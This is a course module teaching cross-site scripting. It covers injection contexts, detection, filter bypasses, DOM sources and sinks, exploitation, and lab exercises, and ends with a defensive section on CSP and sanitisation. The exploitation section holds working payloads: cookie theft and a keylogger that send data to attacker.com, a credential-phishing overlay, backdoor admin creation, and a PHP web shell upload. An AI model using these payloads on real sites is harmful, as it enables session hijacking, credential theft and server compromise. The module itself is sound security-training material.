Opening Framing: The Client-Side Attack
Cross-Site Scripting (XSS) is fundamentally different from server-side attacks like SQL injection. Instead of attacking the application directly, you inject code that executes in other users' browsers. The victim's browser becomes your execution environment.
XSS enables session hijacking, credential theft, keylogging, phishing, and malware distribution. A single XSS vulnerability can compromise every user who visits a page. In applications with administrative interfaces, XSS can escalate to full application compromise.
This week takes you beyond basic XSS to advanced techniques— filter bypasses, DOM-based attacks, exploitation chains, and the creative approaches that find XSS where others miss it.
Key insight: XSS attacks users, not servers. The impact scales with the number of users who encounter your payload.
1) XSS Types and Context
Understanding where and how XSS executes:
XSS Types:
Reflected XSS:
- Payload in request
- Reflected in immediate response
- Requires victim to click link
- Non-persistent
Stored XSS:
- Payload saved to database
- Displayed to all users
- Persistent, wider impact
- More valuable finding
DOM-based XSS:
- Payload processed client-side
- Never sent to server
- JavaScript reads/writes DOM unsafely
- Harder to detect server-side
Injection Contexts:
HTML Context:
<div>USER_INPUT</div>
Payload: <script>alert(1)</script>
Attribute Context:
<input value="USER_INPUT">
Payload: " onfocus=alert(1) autofocus="
JavaScript Context:
<script>var x = 'USER_INPUT';</script>
Payload: ';alert(1)//
URL Context:
<a href="USER_INPUT">
Payload: javascript:alert(1)
CSS Context:
<style>.class { color: USER_INPUT }</style>
Payload: red;}</style><script>alert(1)</script>
Each context requires different payloads!
Identifying Context:
# Submit unique string and find where it appears
Test string: xss12345test
Search response for: xss12345test
Found in:
<div>xss12345test</div> → HTML context
<input value="xss12345test"> → Attribute context
<script>var x='xss12345test'</script> → JS context
<a href="xss12345test"> → URL context
# Then craft payload for that context
# Multiple contexts may exist
# Test each one separately
Key insight: Successful XSS requires understanding the context. The same payload won't work everywhere.
2) XSS Detection and Testing
Systematically finding XSS vulnerabilities:
Testing Methodology:
1. Identify all input points
- URL parameters
- POST data
- Headers (User-Agent, Referer)
- Cookies
2. Submit test string
- Unique identifier
- See where it reflects
3. Determine context
- HTML, attribute, JS, etc.
4. Test context-appropriate payloads
5. Check for encoding/filtering
6. Develop bypass if needed
Basic Test Payloads:
# HTML context
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# Attribute context (break out)
"><script>alert(1)</script>
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
# JavaScript context (break out)
';</script><script>alert(1)</script>
';alert(1)//
\';alert(1)//
# URL context
javascript:alert(1)
data:text/html,<script>alert(1)</script>
# Event handlers (no script tags)
<body onload=alert(1)>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
Testing with Burp Suite:
# Manual testing workflow:
1. Capture request with parameter
2. Send to Repeater
3. Modify parameter with test payload
4. Examine response for:
- Unencoded reflection
- Script execution
- Event handler triggers
# Intruder for fuzzing:
1. Mark injection point
2. Load XSS payload list
/usr/share/seclists/Fuzzing/XSS/
3. Grep for indicators:
- alert(
- onerror=
- <script
# Check response length changes
# Different lengths may indicate filtering
Useful Polyglots:
# Polyglots work in multiple contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'"><img src=x onerror=alert(1)//>
</script><script>alert(1)</script>
"'><script>alert(1)</script>
# Try polyglots first for quick detection
# Then refine payload for specific context
Key insight: XSS testing is about finding where input reflects and how it's processed. Systematic testing finds what quick scans miss.
3) Filter Bypass Techniques
Evading XSS protections:
Common Filters:
1. Blacklist keywords (script, alert, onerror)
2. HTML entity encoding
3. Tag stripping
4. Attribute removal
5. WAF rules
Bypass approaches:
- Alternative tags/events
- Encoding tricks
- Case manipulation
- Breaking filter patterns
Tag and Event Alternatives:
# If <script> is blocked:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<object data="javascript:alert(1)">
<iframe src="javascript:alert(1)">
<embed src="javascript:alert(1)">
# Less common events:
onanimationend, onanimationstart
ontransitionend
onpointerover, onpointerenter
onfocusin, onfocusout
onbeforeinput
Case and Spacing Tricks:
# Case variation
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
# Null bytes and whitespace
<script%00>alert(1)</script>
<scr%00ipt>alert(1)</script>
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)> (tab)
<img%0asrc=x%0aonerror=alert(1)> (newline)
# Concatenation (JS context)
'al'+'ert(1)'
eval('al'+'ert(1)')
window['al'+'ert'](1)
# No parentheses
<img src=x onerror=alert`1`>
<script>alert`1`</script>
<svg/onload=alert(1)>
Encoding Bypasses:
# HTML entity encoding
<img src=x onerror=alert(1)>
# a = 'a', spells 'alert'
# Hex encoding
<img src=x onerror=alert(1)>
# URL encoding in href
<a href="javascript:%61%6c%65%72%74(1)">
# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E
# %25 = %, so %253C = %3C = <
# Unicode encoding
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
# Mixed encoding
<img src=x on\u0065rror=alert(1)>
Filter Logic Exploitation:
# If filter removes <script> once:
<scr<script>ipt>alert(1)</scr</script>ipt>
# After removal: <script>alert(1)</script>
# If filter removes 'javascript:' once:
jajavascript:vascript:alert(1)
# After removal: javascript:alert(1)
# Incomplete tag handling:
<script>alert(1) (no closing tag)
<script x>alert(1)</script y> (attributes on close)
# Comment injection:
<script>alert/**/('XSS')</script>
<script>al/**/ert(1)</script>
Key insight: Filters are imperfect. Understanding how they work reveals their weaknesses.
4) DOM-Based XSS
Client-side XSS that never touches the server:
DOM XSS Concept:
Source: Where attacker-controlled data enters
Sink: Where data is used unsafely
Source → JavaScript processing → Sink → XSS
# The payload never goes to server
# Server-side filters don't help
# Must analyze client-side JavaScript
Common Sources:
URL-based sources:
document.URL
document.documentURI
document.location (and .hash, .search, .href)
window.location
window.name
Storage sources:
document.cookie
localStorage
sessionStorage
Message sources:
window.postMessage()
Web Storage events
Input sources:
document.referrer
History API
Dangerous Sinks:
HTML sinks:
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
JavaScript execution sinks:
eval()
Function()
setTimeout() with string
setInterval() with string
setImmediate()
URL sinks:
location =
location.href =
location.assign()
location.replace()
window.open()
jQuery sinks:
$().html()
$().append()
$().prepend()
$().after()
$().before()
Testing DOM XSS:
# Analyze JavaScript code:
1. Search for sinks in JS files
grep -r "innerHTML" *.js
grep -r "document.write" *.js
grep -r "eval(" *.js
2. Trace data flow to sink
- Where does the data come from?
- Is it sanitized?
3. Test with payload in source
# Example vulnerable code:
var search = document.location.hash.substring(1);
document.getElementById('results').innerHTML = search;
# Payload:
https://target.com/page#<img src=x onerror=alert(1)>
# DOM Invader (Burp extension)
# Automatically finds DOM XSS
DOM XSS Examples:
# document.write with location.search
var query = location.search.substring(1);
document.write("Search: " + query);
# Payload: ?<script>alert(1)</script>
# innerHTML with hash
var hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;
# Payload: #<img src=x onerror=alert(1)>
# eval with URL parameter
var data = new URLSearchParams(location.search).get('data');
eval(data);
# Payload: ?data=alert(1)
# jQuery html() with user input
var msg = $.urlParam('message');
$('#output').html(msg);
# Payload: ?message=<script>alert(1)</script>
Key insight: DOM XSS requires JavaScript analysis. Traditional server-side testing won't find it.
5) XSS Exploitation
Beyond alert boxes—real attack impact:
Session Hijacking:
# Steal cookies (if not HttpOnly)
<script>
document.location='https://attacker.com/steal?c='+document.cookie
</script>
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
<script>
fetch('https://attacker.com/steal?c='+document.cookie);
</script>
# Even with HttpOnly, can perform actions AS the user
Keylogging:
<script>
document.onkeypress = function(e) {
new Image().src = 'https://attacker.com/log?k=' + e.key;
}
</script>
# More sophisticated:
<script>
var keys = '';
document.onkeypress = function(e) {
keys += e.key;
if(keys.length > 20) {
new Image().src = 'https://attacker.com/log?k=' + encodeURIComponent(keys);
keys = '';
}
}
</script>
Phishing:
# Replace page content
<script>
document.body.innerHTML = '<h1>Session Expired</h1>\
<form action="https://attacker.com/phish" method="POST">\
Username: <input name="user"><br>\
Password: <input name="pass" type="password"><br>\
<input type="submit" value="Login">\
</form>';
</script>
# Overlay login form
<script>
var overlay = document.createElement('div');
overlay.innerHTML = '...phishing form...';
overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999';
document.body.appendChild(overlay);
</script>
Admin Account Creation:
# Use stored XSS to attack admins
# When admin views page with stored XSS:
<script>
// Create new admin user via AJAX
fetch('/admin/users/create', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: 'backdoor',
password: 'attacker123',
role: 'admin'
}),
credentials: 'include' // Send cookies
});
</script>
# Or change admin password
<script>
fetch('/admin/password/change', {
method: 'POST',
body: 'new_password=hacked123',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
credentials: 'include'
});
</script>
XSS to RCE (via Admin):
# If admin panel has file upload or code execution:
<script>
// Upload web shell through admin interface
var formData = new FormData();
formData.append('file', new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'application/x-php'}), 'shell.php');
fetch('/admin/upload', {
method: 'POST',
body: formData,
credentials: 'include'
});
</script>
# XSS → Admin session → File upload → RCE
Key insight: XSS impact is limited only by what JavaScript can do in the victim's authenticated context.
Real-World Context: XSS in Modern Applications
XSS in today's web landscape:
Framework Protections: Modern frameworks (React, Angular, Vue) auto-escape output by default. But developers bypass these protections with dangerouslySetInnerHTML, v-html, or [innerHTML]. These bypasses are prime XSS targets.
CSP Defense: Content Security Policy can block inline scripts. But CSP is often misconfigured or includes unsafe-inline. CSP bypass is an advanced skill.
Bug Bounty Reality: XSS remains one of the most commonly reported vulnerabilities. Basic reflected XSS payouts have decreased, but stored XSS and DOM XSS in sensitive contexts still earn significant rewards.
MITRE ATT&CK Mapping:
- T1059.007 - JavaScript: XSS execution
- T1539 - Steal Web Session Cookie: Session hijacking
- T1056.004 - Web Portal Capture: Keylogging, phishing
Key insight: XSS is evolving. DOM XSS and framework-specific bypasses are the new frontier.
Guided Lab: XSS Exploitation
Master XSS through progressive challenges.
Step 1: Reflected XSS
# DVWA XSS (Reflected) - Low security
# Test basic payload:
<script>alert('XSS')</script>
# Test with document.domain:
<script>alert(document.domain)</script>
# Note the context where payload appears
Step 2: Stored XSS
# DVWA XSS (Stored) - Low security
# Submit payload in guestbook:
<script>alert('Stored XSS')</script>
# Refresh page - payload executes again
# This affects ALL users viewing the page
Step 3: Filter Bypass
# DVWA - Medium/High security
# Medium might filter <script>
# Try alternatives:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<ScRiPt>alert(1)</ScRiPt>
# Analyze what's being filtered
# Craft bypass
Step 4: DOM XSS
# DVWA XSS (DOM) or PortSwigger labs
# Check URL parameters used in JavaScript
# Examine source code for sinks
# Test payloads in URL hash or parameters
# Example:
https://target.com/page#<img src=x onerror=alert(1)>
Step 5: PortSwigger Labs
# Complete these labs:
# 1. Reflected XSS into HTML context
# 2. Stored XSS into HTML context
# 3. DOM XSS in document.write
# 4. Reflected XSS with event handlers blocked
# 5. Reflected XSS in canonical link tag
# https://portswigger.net/web-security/cross-site-scripting
Reflection (mandatory)
- What made stored XSS more impactful than reflected?
- Which filter bypass technique worked best?
- How was DOM XSS different to detect?
- What real-world damage could your payloads cause?
Week 06 Quiz
Test your understanding of Cross-Site Scripting (XSS).
Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.
Take QuizWeek 6 Outcome Check
By the end of this week, you should be able to:
- Identify different XSS types and contexts
- Detect XSS vulnerabilities systematically
- Apply filter bypass techniques
- Find and exploit DOM-based XSS
- Develop impactful XSS exploitation payloads
- Understand XSS defenses and their limitations
Next week: Access Control and IDOR—bypassing authorization to access other users' data.
🎯 Hands-On Labs (Free & Essential)
Apply what you learned through practical XSS exploitation exercises. Complete these labs before moving to reading resources.
🕷️ PortSwigger: XSS Labs - Complete Series (ALL 30 LABS)
What you'll do: Master every XSS type through comprehensive hands-on practice:
Reflected XSS (Labs 1-10):
• Basic HTML context injection
• Attribute context escape
• JavaScript string context
• Event handler exploitation
• Bypassing filters and WAFs
Stored XSS (Labs 11-20):
• HTML context injection
• Anchor href attributes
• Comment functionality
• Filter evasion techniques
DOM-based XSS (Labs 21-30):
• document.write sinks
• innerHTML sinks
• jQuery vulnerabilities
• URL-based DOM XSS
• AngularJS sandbox bypass
Why it matters: PortSwigger labs are the industry-standard XSS
training. These 30 labs cover every XSS context, filter bypass, and exploitation technique
you'll encounter in real applications. Completing all 30 labs transforms you from XSS beginner
to expert.
Time estimate: 5-7 hours (comprehensive mastery)
🎮 TryHackMe: Cross-site Scripting
What you'll do: Interactive XSS tutorial covering reflected, stored, and
DOM-based XSS with guided exercises. Learn common payloads, filter bypasses, and real-world
exploitation scenarios.
Why it matters: TryHackMe provides guided explanations and immediate
feedback, perfect for reinforcing concepts from PortSwigger labs. The interactive format helps
solidify your understanding of XSS fundamentals.
Time estimate: 1.5-2 hours
🧃 OWASP Juice Shop: XSS Challenges
What you'll do: Find and exploit multiple XSS vulnerabilities in a realistic
e-commerce application. Practice on reflected, stored, and DOM-based XSS in various contexts
including search, reviews, profiles, and order tracking.
Why it matters: Juice Shop simulates a real-world vulnerable
application. Unlike isolated lab exercises, you'll need to find XSS vulnerabilities yourself
through testing, just like in actual penetration testing or bug bounty hunting.
Time estimate: 2-3 hours
🔧 XSS Game by Google
What you'll do: Play through 6 progressive XSS challenges created by Google's
security team. Start with basic injection and advance to complex filter evasion, demonstrating
creative exploitation techniques.
Why it matters: Google's XSS Game teaches you to think like an
attacker, finding creative ways around filters. The gamified format makes learning filter bypass
techniques engaging and memorable.
Time estimate: 1-2 hours
💡 Lab Strategy: Complete PortSwigger labs first for comprehensive coverage. Then use TryHackMe for reinforcement, Juice Shop for realistic practice, and XSS Game for creative filter bypasses. This combination builds complete XSS mastery: 750 total XP, 9-14 hours of world-class training!
🛡️ Defensive Architecture & Secure Design Patterns
XSS succeeds when untrusted data reaches the browser unsafely. Defensive design enforces context-aware encoding and locks down the browser with CSP and Trusted Types.
Context-Aware Output Encoding
Core principle:
- Encode for the context you render into
- HTML, attribute, JavaScript, URL, and CSS contexts differ
Preferred patterns:
- Escape HTML by default
- Use safe templating for attributes
- Avoid string-building in JavaScript
Browser-Enforced Defenses
Defense layers:
- Content-Security-Policy (no inline scripts)
- Trusted Types to block dangerous sinks
- DOMPurify for user-generated HTML
- Framework auto-escaping (avoid bypasses)
Real-World Breach: British Airways Magecart 2018
Attackers injected malicious JavaScript into BA's payment page, skimming card data in real time. Lessons learned: strict CSP, subresource integrity, and monitoring for script changes reduce the blast radius of XSS and supply-chain abuse.
Defensive Labs
Lab: Deploy a Strict CSP
Implement a restrictive CSP (no inline scripts), test with CSP Evaluator, and document blocked payloads.
Lab: Fix XSS with Contextual Encoding
Remediate a vulnerable page by applying HTML/attribute/JS encoding correctly and verify payloads no longer execute.
Lab: Implement Trusted Types or DOMPurify
Enforce Trusted Types for `innerHTML` sinks or sanitize user content with DOMPurify and document safe usage.
📚 Building on CSY101 Week-13: Threat model client-side attack surfaces and trust boundaries. CSY101 Week-14: Map controls to NIST 800-53 (SI/SA) and CIS Controls. CSY104 Week-11: Use CVSS to prioritize XSS fixes.
Reading Resources (Free + Authoritative)
Complete the required resources to build your foundation.
- PortSwigger - Cross-Site Scripting · 90-120 min · 50 XP · Resource ID: csy203_w6_r1 (Required)
- OWASP XSS Filter Evasion Cheat Sheet · 45-60 min · 50 XP · Resource ID: csy203_w6_r2 (Required)
- HTML5 Security Cheatsheet · Reference · 25 XP · Resource ID: csy203_w6_r3 (Optional)
Lab: Comprehensive XSS Assessment
Goal: Perform complete XSS testing from detection to impactful exploitation.
Part 1: Vulnerability Discovery
- Test all input fields for reflection
- Identify injection contexts
- Document all XSS entry points
- Classify as reflected/stored/DOM
Part 2: Filter Analysis
- Identify what characters/tags are filtered
- Test encoding bypasses
- Test alternative event handlers
- Document working bypass payloads
Part 3: DOM XSS Testing
- Analyze JavaScript source files
- Identify sources and sinks
- Test DOM-based payloads
- Document DOM XSS findings
Part 4: Exploitation
- Create session stealing payload
- Create keylogging payload
- Create phishing payload
- Test payloads in controlled environment
Part 5: Impact Assessment
- Evaluate impact of each XSS found
- Consider what actions could be performed
- Document realistic attack scenarios
Deliverable (submit):
- XSS vulnerability inventory
- Filter bypass documentation
- DOM XSS analysis
- Working exploitation payloads
- Impact assessment and remediation
Checkpoint Questions
- What is the difference between reflected, stored, and DOM XSS?
- Why does injection context matter for XSS payloads?
- What is a source and sink in DOM XSS?
- How can XSS lead to account takeover even with HttpOnly cookies?
- What is the purpose of Content Security Policy?
- How do modern frameworks try to prevent XSS?
Weekly Reflection
Reflection Prompt (200-300 words):
This week you mastered Cross-Site Scripting—the quintessential client-side attack. You bypassed filters, found DOM vulnerabilities, and developed exploitation payloads.
Reflect on these questions:
- XSS attacks users rather than servers. How does this change how you think about the attack's impact and ethics?
- Modern frameworks provide XSS protection by default. Why does XSS still remain so common?
- DOM XSS never touches the server. What challenges does this create for defenders?
- You created payloads for session stealing and keylogging. How should organizations prioritize XSS remediation?
A strong reflection will consider XSS from both offensive and defensive perspectives.
Verified Resources & Videos
- XSS Payloads: XSS Payload List
- DOM XSS: PortSwigger DOM XSS
- CSP Evaluator: Google CSP Evaluator
XSS mastery is a core skill for web application testers. The techniques you've learned—context analysis, filter bypasses, DOM analysis, exploitation—apply across the web. As applications become more JavaScript-heavy, DOM XSS becomes more important. Next week: access control vulnerabilities, where we bypass authorization to access unauthorized data.